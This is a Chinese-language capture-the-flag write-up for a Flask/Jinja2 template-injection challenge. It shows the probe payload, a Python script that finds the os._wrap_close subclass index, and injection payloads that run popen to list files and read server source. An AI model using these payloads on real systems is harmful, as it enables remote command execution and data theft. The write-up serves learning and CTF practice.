解题步骤
打开环境后就只有一段文字,说密码错误,来回看了源码,抓包都没有什么提示,并且也没有有任何的传参显示
最后想来想去,终于灵机一动,这段文字就是在提示我们,可传的参数为password
所以我们直接实验传参为1,果然触发回显,说明已经迈出了第一步
既然的SSTI,我们就可以直接开始构造payload,判断模版类型
{{7*7}}有回显,说明是Python Flask模版注入
接着执行以下代码
?password={{''.__class__.__base__.__subclasses__()}}
回显一大堆object下的子类信息,我们运行下面的脚本,将我们需要的os模块的位置找出来
import requests
url = ''
for i in range(500):
get = {"password":"{{''.__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.get(url,params = get)
if response.status_code == 200:
if 'os._wrap_close' in response.text:
print(i)
print(response.text)
except:
pass
最终得到回显为127
最后一步到位,执行popen函数,查看当前所有的文件
?password={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
一开始利用find命令寻找flag所在,一直没找到,找半天最后flag就在app目录下的模版文件里面,浪费好多时间
?password={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}